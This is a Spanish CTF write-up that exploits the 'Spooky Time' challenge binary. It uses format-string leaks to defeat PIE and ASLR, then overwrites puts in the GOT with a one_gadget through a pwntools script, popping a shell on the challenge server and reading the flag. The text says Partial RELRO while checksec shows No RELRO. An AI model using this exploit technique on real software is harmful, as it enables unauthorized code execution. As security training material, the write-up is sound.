Spooky Time
9 minutos de lectura
Se nos proporciona un binario de 64 bits llamado spooky_time
:
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
Ingeniería inversa
Si lo abrimos en Ghidra, veremos esta función main
:
void main() {
long in_FS_OFFSET;
char first_input[12];
char second_input[312];
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
setup();
banner();
puts("It\'s your chance to scare those little kids, say something scary!\n");
__isoc99_scanf("%11s", first_input);
puts("\nSeriously?? I bet you can do better than ");
printf(first_input);
puts("\nAnyway, here comes another bunch of kids, let\'s try one more time..");
puts("\n");
__isoc99_scanf("%299s", second_input);
puts("\nOk, you are not good with that, do you think that was scary??\n");
printf(second_input);
puts("Better luck next time!\n");
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
}
Vulnerabilidad de Format String
Existen dos vulnerabilidades de Format String ya que podemos proporcionar dos strings que serán usadas como primer argumento de printf
. El primer argumento de printf
debe ser una format string que se usará para formatear los siguientes argumentos como enteros (%d
), valores hexadecimales (%x
), caracteres (%c
), strings (%s
)…
Si controlamos este parámetro, podemos extraer valores de la pila porque podemos introducir formatos y hacer que printf
piense que hay un montón de argumentos en printf
. Por ejemplo:
$ nc 159.65.48.79 31023
You know what time it is? It's SPOOKY time!
▗▄ ▝▀▀▀ ▗▄
▗▞▘ ▝▀▄
▞▘ ▘▖ ▗ ▗ ▗ ▗ ▗ ▗ ▗ ▗
▝▞ ▝▖▝ ▘ ▘ ▘ ▘ ▘ ▘ ▘ ▘
▐ ▚
▌ ▗▄▄ ▄▖ ▝▖ ▖ ▄▄▖ ▘ ▗▄▖
▐ ███ ███▌ ▌ ▝ ▖▘ ▖▘ ▗▞▀ ▀▗▘ ▗ ▘ ▗
▞ ▝▀▘ ▄▄ ▝▀▀ ▐ ▞▘ ▀▖
▌ ▐██▌ ▐ ▞ ▝▖
▌ ▀▀ ▐ ▖▘ ▗▞ ▐
▌ ▐ ▝▗▘ ▚ ▝
▌ ▐ ▐ ▄▄▖ ▄▄▖ ▝▖
▌ ▐ ▖ ▌ ▐███ ▐██▛ ▚
▌ ▖ ▘ ▌ ▀▀▘ ▀▀▘ ▐
▚ ▚ ▌ ▐▖▗▌ ▝
▐ ▝▖ ▖ ▘ ▌ ▝▌
▝▖ ▝▖ ▌ ▌
▌ ▝▄ ▖ ▌ ▌
▚ ▌ ▝▌ ▌
▐ ▄▀ ▐ ▌
▌ ▄▄▖ ▄▝▘▘ ▀▀▀ ▌ ▗▘
▗ ▝▄▀▘ ▝▀ ▄▄▖▀ ▐ ▐
▐▘ ▐
▗ ▞▘ ▞
▗ ▖ ▝ ▛ ▌
▝ ▝ ▖▘ ▗ ▗▝ ▚▖ ▐
▗ ▖ ▀ ▝▀▀ ▀▘▄ ▗▄▄▖ ▌
▗▝ ▗ ▘ ▘ ▀ ▄▄▖▝▀ ▝▘▞
It's your chance to scare those little kids, say something scary!
%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.
Seriously?? I bet you can do better than
1.1.7f775011ca37
Anyway, here comes another bunch of kids, let's try one more time..
Ok, you are not good with that, do you think that was scary??
.1.1.7f775011ca37.3f.7ffe4a82e21c.2e786c2500000000.786c252e786c25.786c252e786c252e.786c252e786c252e.786c252e786c252e.786c252e786c252e.786c252e786c252e.786c252e786c252e.786c252e786c252e.786c252e786c252e.2e786c252e.0.Better luck next time!
Por otro lado, las vulnerabilidades de Format String proporcionan a los atacantes la habilidad de escribir datos arbitrarios en direcciones de memoria arbitraria (primitiva write-what-where) usando %n
. Este formato funciona de manera que se guarda el número de bytes impresos hasta el formato en la dirección referenciada.
Como nuestro texto se guarda en la pila (stack), podemos controlar la posición en la que almacenar dartos. Esta vez, podemos controlar a partir de la posición 8, vamos a verlo:
$ nc 159.65.48.79 31023
You know what time it is? It's SPOOKY time!
▗▄ ▝▀▀▀ ▗▄
▗▞▘ ▝▀▄
▞▘ ▘▖ ▗ ▗ ▗ ▗ ▗ ▗ ▗ ▗
▝▞ ▝▖▝ ▘ ▘ ▘ ▘ ▘ ▘ ▘ ▘
▐ ▚
▌ ▗▄▄ ▄▖ ▝▖ ▖ ▄▄▖ ▘ ▗▄▖
▐ ███ ███▌ ▌ ▝ ▖▘ ▖▘ ▗▞▀ ▀▗▘ ▗ ▘ ▗
▞ ▝▀▘ ▄▄ ▝▀▀ ▐ ▞▘ ▀▖
▌ ▐██▌ ▐ ▞ ▝▖
▌ ▀▀ ▐ ▖▘ ▗▞ ▐
▌ ▐ ▝▗▘ ▚ ▝
▌ ▐ ▐ ▄▄▖ ▄▄▖ ▝▖
▌ ▐ ▖ ▌ ▐███ ▐██▛ ▚
▌ ▖ ▘ ▌ ▀▀▘ ▀▀▘ ▐
▚ ▚ ▌ ▐▖▗▌ ▝
▐ ▝▖ ▖ ▘ ▌ ▝▌
▝▖ ▝▖ ▌ ▌
▌ ▝▄ ▖ ▌ ▌
▚ ▌ ▝▌ ▌
▐ ▄▀ ▐ ▌
▌ ▄▄▖ ▄▝▘▘ ▀▀▀ ▌ ▗▘
▗ ▝▄▀▘ ▝▀ ▄▄▖▀ ▐ ▐
▐▘ ▐
▗ ▞▘ ▞
▗ ▖ ▝ ▛ ▌
▝ ▝ ▖▘ ▗ ▗▝ ▚▖ ▐
▗ ▖ ▀ ▝▀▀ ▀▘▄ ▗▄▄▖ ▌
▗▝ ▗ ▘ ▘ ▀ ▄▄▖▝▀ ▝▘▞
It's your chance to scare those little kids, say something scary!
asdf
Seriously?? I bet you can do better than
asdf
Anyway, here comes another bunch of kids, let's try one more time..
AAAABBBB%8$lx
Ok, you are not good with that, do you think that was scary??
AAAABBBB4242424241414141Better luck next time!
Hemos puesto AAAABBBB
y %8$lx
se ha sustituido por 4242424241414141
, que es lo mismo en formato hexadecimal, little-endian.
Explotación de Format String
Entonces, tenemos una manera de obtener una primitiva de escritura arbitraria. Como el binario tiene Partial RELRO, podemos modificar la entrada de puts
en la Tabla de Offsets Globales (GOT) y poner una shell one_gadget
para conseguir una shell.
Como PIE y ASLE están habilitados, tenemos que obtener dos fugas de memoria para burlarlos.
Fugando direcciones de memoria
En primer lugar, vamos a deshabilitar ASLR temporalmente:
# echo 0 | tee /proc/sys/kernel/randomize_va_space
0
Ahora, con un bucle for
y un poco de shell scripting, podemos extraer valores de la pila iterando por cada posición mediante la vulnerabilidad de Format String:
$ for i in {1..100}; do echo -n "$i: "; echo "%$i\$lx\n" | ./spooky_time | tail -9 | head -1; done
1: 1
2: 1
3: 7ffff7ea7a37
4: 2a
5: 7ffff7fac280
6: 6c24362500000000
7: 78
8: 0
9: 0
10: 0
11: 0
12: 0
13: 0
14: 0
15: 0
16: 0
17: 0
18: 0
19: 0
20: 0
21: 0
22: 0
23: 0
24: 0
25: 0
26: 0
27: 0
28: 0
29: 0
30: 0
31: 0
32: 0
33: 0
34: 0
35: 0
36: 0
37: 0
38: 0
39: 0
40: 0
41: 0
42: 0
43: 0
44: 0
45: 0
46: 0
47: 591694f6743c6d00
48: 1
49: 7ffff7dbcd90
50: 0
51: 5555555553c0
52: 100000000
53: 7fffffffe7e8
54: 0
55: 47edbf377b597ad
56: 7fffffffe7e8
57: 5555555553c0
58: 555555557b80
59: 7ffff7ffd040
60: fb472429c1596cde
61: 22af37e9be135d12
62: 7fff00000000
63: 0
64: 0
65: 0
66: 0
67: e656b6af03dcc500
68: 0
69: 7ffff7dbce40
70: 7fffffffe7f8
71: 555555557b80
72: 7ffff7ffe2e0
73: 0
74: 0
75: 555555555160
76: 7fffffffe7e0
77: 0
78: 0
79: 555555555185
80: 7fffffffe7d8
81: 1c
82: 1
83: 7fffffffeabf
84: 0
85: 7fffffffeacd
86: 7fffffffead8
87: 7fffffffeaef
88: 7fffffffeb0a
89: 7fffffffeb40
90: 7fffffffeb51
91: 7fffffffeb7b
92: 7fffffffeb8c
93: 7fffffffeba3
94: 7fffffffebc1
95: 7fffffffebdc
96: 7fffffffebf4
97: 7fffffffec08
98: 7fffffffec1f
99: 7fffffffec34
100: 7fffffffec4d
Por experiencia, sé que las direcciones que empiezan por 555555555
son direcciones del binario, las que empiezan por 7ffff7f
están en Glibc, y las que comienzan por 7fffffff
son direcciones de la pila.
Usando GDB, podemos encontrar dos direcciones del binario y de Glibc que serán útiles para saltarnos PIE y ASLR:
$ gdb -q spooky_time
Reading symbols from spooky_time...
(No debugging symbols found in spooky_time)
gef➤ start
[+] Breaking at '0x13c0'
gef➤ x 0x7ffff7ea7a37
0x7ffff7ea7a37 <write+23>: 0xf0003d48
gef➤ x 0x7ffff7fac280
0x7ffff7fac280: 0x00000008
gef➤ x 0x7ffff7dbcd90
0x7ffff7dbcd90: 0x59e8c789
gef➤ x 0x5555555553c0
0x5555555553c0 <main>: 0xfa1e0ff3
gef➤ x 0x555555557b80
0x555555557b80: 0x55555200
gef➤ x 0x7ffff7ffd040
0x7ffff7ffd040 <_rtld_global>: 0xf7ffe2e0
gef➤ x 0x7ffff7dbce40
0x7ffff7dbce40 <__libc_start_main+128>: 0x593d8b4c
Por ejemplo, podemos coger las posiciones 51 (0x5555555553c0
) y 69 (0x7ffff7dbce40
) para encontrar las direcciones base del binario y de Glibc.
Desarrollo del exploit
Podemos comenzar a escribir el exploit:
def main():
p = get_process()
p.sendlineafter(b"It's your chance to scare those little kids, say something scary!\n\n", b'%51$p.%69$p')
p.recvuntil(b'Seriously?? I bet you can do better than \n')
leaks = p.recvline().decode().split('.')
main_addr = int(leaks[0], 16)
__libc_start_main_addr = int(leaks[1], 16) - 128
elf.address = main_addr - elf.sym.main
glibc.address = __libc_start_main_addr - glibc.sym.__libc_start_main
log.success(f'ELF base address: {hex(elf.address)}')
log.success(f'Glibc base address: {hex(glibc.address)}')
p.interactive()
if __name__ == '__main__':
main()
Nótese que usé %p
en lugar de %lx
para ahorrar espacio (el resultado es casi el mismo). Y aquí tenemos las direcciones base:
$ python3 solve.py
[*] './spooky_time'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
[+] Starting local process './spooky_time': pid 415707
[+] ELF base address: 0x555555554000
[+] Glibc base address: 0x7ffff7d93000
[*] Switching to interactive mode
Anyway, here comes another bunch of kids, let's try one more time..
$
En este punto, podemos habilitar ASLR y probar de nuevo:
# echo 2 | tee /proc/sys/kernel/randomize_va_space
2
$ python3 solve.py
[*] './spooky_time'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
[+] Starting local process './spooky_time': pid 416286
[+] ELF base address: 0x55af448fc000
[+] Glibc base address: 0x7f62a0398000
[*] Switching to interactive mode
Anyway, here comes another bunch of kids, let's try one more time..
$
Obteniendo RCE
Para conseguir RCE tenemos que modificar la entrada de puts
en la GOT, que es la siguiente función que se ejecuta después del segundo printf
. Aquí pondremos una shell one_gadget
:
$ one_gadget glibc/libc.so.6
0x50a37 posix_spawn(rsp+0x1c, "/bin/sh", 0, rbp, rsp+0x60, environ)
constraints:
rsp & 0xf == 0
rcx == NULL
rbp == NULL || (u16)[rbp] == NULL
0xebcf1 execve("/bin/sh", r10, [rbp-0x70])
constraints:
address rbp-0x78 is writable
[r10] == NULL || r10 == NULL
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL
0xebcf5 execve("/bin/sh", r10, rdx)
constraints:
address rbp-0x78 is writable
[r10] == NULL || r10 == NULL
[rdx] == NULL || rdx == NULL
0xebcf8 execve("/bin/sh", rsi, rdx)
constraints:
address rbp-0x78 is writable
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL
Para escribirla, una metodología manual es tediosa (puedes ver un ejemplo en fermat-strings y en la máquina Rope). Esta vez, podemos usar fmtstr_payload
de pwntools
, que recibe el offset a partir del cual controlamos la pila y un mapa entre la dirección en la que queremos escribir y el valor que queremos escribir. Por tanto, esta es la segunda parte del exploit:
one_gadgets = [0x50a37, 0xebcf1, 0xebcf5, 0xebcf8]
payload = fmtstr_payload(8, {elf.got.puts: glibc.address + one_gadgets[1]})
p.sendlineafter(b"Anyway, here comes another bunch of kids, let's try one more time..\n\n\n", payload)
p.recv()
p.interactive()
Si probamos en local, tendremos una shell:
$ python3 solve.py
[*] './spooky_time'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
[+] Starting local process './spooky_time': pid 421975
[+] ELF base address: 0x55c73a537000
[+] Glibc base address: 0x7f2a4f7a0000
[*] Switching to interactive mode
$ ls
flag.txt glibc solve.py spooky_time
Flag
Probemos en remoto:
$ python3 solve.py 159.65.48.79:31023
[*] './spooky_time'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
[+] Opening connection to 159.65.48.79 on port 31023: Done
[+] ELF base address: 0x557980faa000
[+] Glibc base address: 0x7f85dd971000
[*] Switching to interactive mode
$ ls
flag.txt
glibc
spooky_time
$ cat flag.txt
HTB{d0ubl3_f0rm4t_5tr1ng_w1th_r3lR0}
El exploit completo se puede encontrar aquí: solve.py
.